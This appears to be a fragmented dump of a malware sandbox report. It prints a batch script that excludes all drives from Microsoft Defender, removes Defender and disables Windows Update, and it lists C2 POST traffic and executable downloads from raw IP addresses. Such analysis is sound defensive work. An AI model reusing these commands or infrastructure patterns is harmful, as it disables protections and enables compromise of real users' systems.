2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )set "a=7"set "b=z" set "c=x"set "d=-aoa"set "e=-bso0"set "f=-bsp1"set "g=same.zip"set "h=stucha"set "i=mika.exe"%a%%b% %c% %d% %e% %f% "%g%" -p"%h%" "%i%" >nul%i% /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMset "DEFENDER_REMOVED_FLAG=%TEMP%\defender_removed.flag"if not exist "%DEFENDER_REMOVED_FLAG%" ( taskkill /f /im mika.exe >nul 2>&1 start "" /min mika.exe /DelWD echo.> "%DEFENDER_REMOVED_FLAG%"del "%SCRIPT_RUNNING_FLAG%" 2>nulexit /b" (Indicator: ""del ") in Source: cGMgirpxv.bat78:Td3a,Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetAce" (Indicator: "GetAce"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "IsWellKnownSid" (Indicator: "IsWellKnownSid"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "AddAce" (Indicator: "AddAce"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "CreateRestrictedToken" (Indicator: "CreateRestrictedToken"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin")79:T43f," "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:05:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E333C643E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=B483325996CBE2D90F44AFCA4B673C053DA706B58D84B4EFA8B2C979C7151FB140BE1D46450FC9DDF642E3BDD70A0AC64C0BD426A79253F4599B6AEF41EF4B1D149F194401DC845B8C42C8D9E35EB799357BC015B969A1" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:05:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E31323333333539303130312B2B2B62353933376331613939643566396464306634626235633034613765336534333736623330346234646564386162....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e2=12333590101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:05:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /4443b13326064ef29918.php HTTP/1.1 Content-Type: application/json Host: 176.65.132.97 Content-Length: 136 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "IwCZdSd+8YpJDb8egagyT7R+yUW7XeSuoY89rBfXldvtxsMJUAQaIWoZSwR+MsYfe1lUC0oNMbCNugIwx660paWAdbnMTxwzEU30QXQAR3L1M1rcSPbDEpJWjFPrmfj7LIEnkP39" HTTP/1.1 200 OK Date: Tue 17 Mar 2026 09:05:53 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>49796A664E7A5A713639774C56654E596D624233584F552F7A78766F464B76352F38736F774658566D646D673374635055454D434F326F364631306C624A4249....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12333800101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:05:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12340530101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e1=12342220101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:06:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12343970271&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12343990101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:06:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344090101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344100271&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e1=12344110101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "e1=12344120101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344130101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:07:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344140101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:08:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344160101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344170101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E....... "POST /di9ku38f/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 94.154.35.25 Content-Length: 32 Cache-Control: no-cache" with payload::==> "d1=12344180101&unit=351455743570" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 17 Mar 2026 09:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E.......80:T6a8,"systemhelper.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "systemhelper.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "systemhelper.exe" reads file "C:\Users\desktop.ini" "windowsservice.exe" reads file "C:\Windows\win.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "windowsservice.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini"81:Ta9c,"DAIs3ZV.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 8 sections"- [targetUID: N/A] "S6xWuZ1.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 11 sections"- [targetUID: 00000000-00006816] "windowsservice.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 6 sections"- Location: [%TEMP%\windowsservice.exe]- [targetUID: 00000000-00001900] "Nb2YOyu.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- Location: [%TEMP%\12340530101\Nb2YOyu.exe]- [targetUID: 00000000-00006816] "Y9lcbSi.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 7 sections"- Location: [%TEMP%\12333590101\Y9lcbSi.exe]- [targetUID: 00000000-00006816] "7z.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 6 sections"- Location: [%TEMP%\saked\7z.exe]- [targetUID: 00000000-00004428] "systemhelper.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- Location: [%TEMP%\systemhelper.exe]- [targetUID: 00000000-00006816] "eNLe4nm.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "NSudoLG.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\saked\NSudoLG.exe]- [targetUID: 00000000-00004428] "servicehelper.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%TEMP%\servicehelper.exe]- [targetUID: 00000000-00007880] "nircmd.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- Location: [%TEMP%\saked\nircmd.exe]- [targetUID: 00000000-00006340] "cecho.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\saked\cecho.exe]- [targetUID: 00000000-00004428] "S6xWuZ1.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 11 sections"- Location: [%TEMP%\12333800101\S6xWuZ1.exe]- [targetUID: 00000000-00006816] "Ln9yol3.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 (stripped to external PDB) 10 sections"- [targetUID: N/A] "Nb2YOyu.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- [targetUID: 00000000-00006816] "Y9lcbSi.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 7 sections"- [targetUID: 00000000-00006816] "7GKCAjW.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 9 sections"- [targetUID: N/A] "b9ba399145.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- [targetUID: N/A] "windowsservice.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 3 sections"- Location: [%WINDIR%\Temp\windowsservice.exe]- [targetUID: 00000000-00001900]82:Te41,"\" (Source: \"00000000-00001540.00000000.180439.04B90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-940","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00001540.00000000.180439.04B90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEA6E49F6ACF364723B414AAA97B08]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001540.00000000.180439.02C10000.00000004.mdmp, 00000000-00001540.00000001.180699.02C10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001540.00000000.180439.02C10000.00000004.mdmp, 00000000-00001540.00000001.180699.02C10000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00001540.00000001.180699.08CE0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"DragQueryFileW\" (File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")\n Found string \"GetClipboardData\" (File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")\n Found reference to API \"CreateDCA\" (Indicator: \"CreateDC\"; File: \"00000000-00001900.00000001.183241.C2461000.00000040.mdmp\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; File: \"00000000-00001900.00000001.183241.C2461000.00000040.mdmp\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; File: \"00000000-00001900.00000001.183241.C2461000.00000040.mdmp\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; File: \"00000000-00001900.00000001.183241.C2461000.00000040.mdmp\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: systemhelper.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \" tE!\"\n \"Y9lcbSi.exe\" was detected as \"tElock v1.0 (private) -> tE!\"\n \"7GKCAjW_1_.exe\" was detected as \"tElock v1.0 (private) -> tE!\"\n \"7z.exe\" was detected as \"Microsoft visual C++ 5.0\"\n \"systemhelper.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"cecho.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"","header":"GET / HTTP/1.1\nHost: opa.dokantrack.com\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"94.154.35.25","host_ip":"94.154.35.25:80","url":"/di9ku38f/index.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /di9ku38f/index.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nHost: 94.154.35.25\nContent-Length: 4\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/7782139129/Y9lcbSi.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/7782139129/Y9lcbSi.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/7782139129/S6xWuZ1.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/7782139129/S6xWuZ1.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"176.65.132.97","host_ip":"176.65.132.97:80","url":"/4443b13326064ef29918.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /4443b13326064ef29918.php HTTP/1.1\nContent-Type: application/json\nHost: 176.65.132.97\nContent-Length: 136\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/6691015685/Nb2YOyu.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/6691015685/Nb2YOyu.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/7782139129/VGAGvKd.msi","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/7782139129/VGAGvKd.msi HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/8167064937/DAIs3ZV.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/8167064937/DAIs3ZV.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/7782139129/7GKCAjW.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/7782139129/7GKCAjW.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/2043702969/Ln9yol3.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET 